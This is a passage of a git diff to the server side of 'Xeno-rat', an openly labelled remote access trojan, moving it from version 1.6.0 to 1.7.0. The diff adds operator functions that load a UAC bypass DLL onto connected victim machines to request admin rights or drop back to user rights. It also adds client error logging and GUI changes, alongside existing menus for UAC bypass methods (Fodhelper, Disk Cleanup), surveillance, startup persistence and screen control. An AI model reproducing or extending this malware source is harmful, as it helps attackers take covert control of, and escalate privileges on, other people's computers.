resources.GetString("richTextBox1.Text"); this.richTextBox1.TextChanged += new System.EventHandler(this.richTextBox1_TextChanged); // // MainForm // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1141, 584); + this.ClientSize = new System.Drawing.Size(1712, 898); this.Controls.Add(this.tabControl1); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); this.Name = "MainForm"; this.Text = "MainForm"; this.Load += new System.EventHandler(this.MainForm_Load); @@ -907,6 +970,7 @@ private void InitializeComponent() private System.Windows.Forms.TabPage tabPage3; private System.Windows.Forms.ListView listView4; private System.Windows.Forms.ColumnHeader columnHeader13; + private System.Windows.Forms.CheckBox checkBox4; } } diff --git a/xeno rat server/MainForm.cs b/xeno rat server/MainForm.cs index c0f01cc..f0759dd 100644 --- a/xeno rat server/MainForm.cs +++ b/xeno rat server/MainForm.cs @@ -26,6 +26,7 @@ using Newtonsoft.Json.Linq; using xeno_rat_server.Forms; using System.IO.Compression; +using System.Net; namespace xeno_rat_server { @@ -43,12 +44,14 @@ public partial class MainForm : Form private System.Windows.Forms.Timer ConfigUpdateTimer; private string LastConfig = ""; + private static bool LogErrors = true; + public MainForm() { InitializeComponent(); - this.Text = "Xeno-rat: Created by moom825 - version 1.6.0"; + this.Text = "Xeno-rat: Created by moom825 - version 1.7.0"; key = Utils.CalculateSha256Bytes(string_key); ListeningHandler =new Listener(OnConnect); @@ -92,11 +95,15 @@ public MainForm() Uac_Bypass[1] = "Windir + Disk Cleanup"; Uac_Bypass[2] = "Fodhelper"; + string[] Uac_Options = new string[2]; + Uac_Options[0] = "Request admin"; + Uac_Options[1] = "De-escalate to user"; Commands["Fun"] = Fun; Commands["Surveillance"] = Surveillance; Commands["System"] = System; Commands["Uac Bypass"] = Uac_Bypass; + Commands["Uac Options"] = Uac_Options; Commands["Client"] = Client; Commands["Power"] = Power; } @@ -135,6 +142,7 @@ private async Task OnConnect(Socket socket) client.Disconnect(); return; } + //currentCount++; Node HeartSock=await client.CreateSubNodeAsync(1);//create HeartBeat Node if (HeartSock == null) @@ -418,7 +426,19 @@ private async Task HeartBeat(Node HeartSock, Node MainSock) break; } int op = data[0]; - if (op != 1) + if (op == 3) + { + + try { + string error_msg=Encoding.UTF8.GetString(data, 1, data.Length - 1); + if (LogErrors) + { + AddLog("Application error has occurred: " + error_msg, Color.Red); + } + } catch { } + break; + } + else if (op != 1) { break; } @@ -464,6 +484,7 @@ private string SerializeControlsToJson() controlData["checkBox1"] = checkBox1.Checked; controlData["checkBox2"] = checkBox2.Checked; controlData["checkBox3"] = checkBox3.Checked; + controlData["checkBox4"] = checkBox4.Checked; controlData["OnConnectTasks"] = OnConnectTasks; controlData["string_key"] = string_key; List ports = new List(); @@ -506,6 +527,7 @@ private void DeserializeControlsFromJson(string jsonData) checkBox1.Checked = Convert.ToBoolean(controlData["checkBox1"]); checkBox2.Checked = Convert.ToBoolean(controlData["checkBox2"]); checkBox3.Checked = Convert.ToBoolean(controlData["checkBox3"]); + checkBox4.Checked = Convert.ToBoolean(controlData["checkBox4"]); OnConnectTasks = ((JArray)controlData["OnConnectTasks"]).ToObject>(); foreach (string i in OnConnectTasks) { @@ -922,6 +944,60 @@ private async Task StartFodHelperBypass(Node client) MessageBox.Show("Error with Uacbypass!" + e.Message); } } + private async Task StartRequestForAdmin(Node client) + { + try + { + Node subClient = await client.CreateSubNodeAsync(2); + bool worked = await Utils.LoadDllAsync(subClient, "Uacbypass", File.ReadAllBytes("plugins\\Uacbypass.dll"), AddLog); + if (!worked) + { + MessageBox.Show("Error Starting Uacbypass dll!"); + return; + } + await subClient.SendAsync(new byte[] { 4 }); + subClient.SetRecvTimeout(20000); + byte[] data = await subClient.ReceiveAsync(); + if (data == null || data[0] != 1) + { + MessageBox.Show("The user most likely clicked no on the uac prompt (or it timed out)"); + return; + } + subClient.Disconnect(); + MessageBox.Show("The user clicked yes! You should have admin."); + } + catch (Exception e) + { + MessageBox.Show("Error with Uacbypass dll!" + e.Message); + } + } + private async Task StartDeescalateperms(Node client) + { + try + { + Node subClient = await client.CreateSubNodeAsync(2); + bool worked = await Utils.LoadDllAsync(subClient, "Uacbypass", File.ReadAllBytes("plugins\\Uacbypass.dll"), AddLog); + if (!worked) + { + MessageBox.Show("Error Starting Uacbypass dll!"); + return; + } + await subClient.SendAsync(new byte[] { 5 }); + subClient.SetRecvTimeout(20000); + byte[] data = await subClient.ReceiveAsync(); + if (data == null || data[0] != 1) + { + MessageBox.Show("Failed to Start a new process with user perms."); + return; + } + subClient.Disconnect(); + MessageBox.Show("Started a new process with user perms."); + } + catch (Exception e) + { + MessageBox.Show("Error with Uacbypass dll!" + e.Message); + } + } private async Task StartScreenControl(Node client) { try @@ -1211,6 +1287,14 @@ public void MenuClick(Node client, string command) { StartPlugin(StartFodHelperBypass, client); } + else if (command == "Request admin") + { + StartPlugin(StartRequestForAdmin, client); + } + else if (command == "De-escalate to user") + { + StartPlugin(StartDeescalateperms, client); + } else if (command == "Screen Control") { StartPlugin(StartScreenControl, client); @@ -1235,7 +1319,7 @@ public void MenuClick(Node client, string command) { StartPlugin(StartStartup, client); } - else if (command == "Remove Startup") + else if (command == "Remove Startup") { StartPlugin(StartRemoveStartup, client); } @@ -1608,6 +1692,11 @@ private void listView3_MouseClick(object sender, MouseEventArgs e) contextMenu.Show(listView3, e.Location); } } + + private void checkBox4_CheckedChanged(object sender, EventArgs e) + { + LogErrors = checkBox4.Checked; + } } public static class IconInjector { diff --git a/xeno rat server/Node.cs b/xeno rat server/Node.cs index bcfc29b..b31ccfd 100644 --- a/xeno rat server/Node.cs +++ b/xeno rat server/Node.cs @@ -83,7 +83,7 @@ public async void Disconnect() { if (i.SockType != 1) { - i.Disconnect(); + i?.Disconnect(); } } catch { }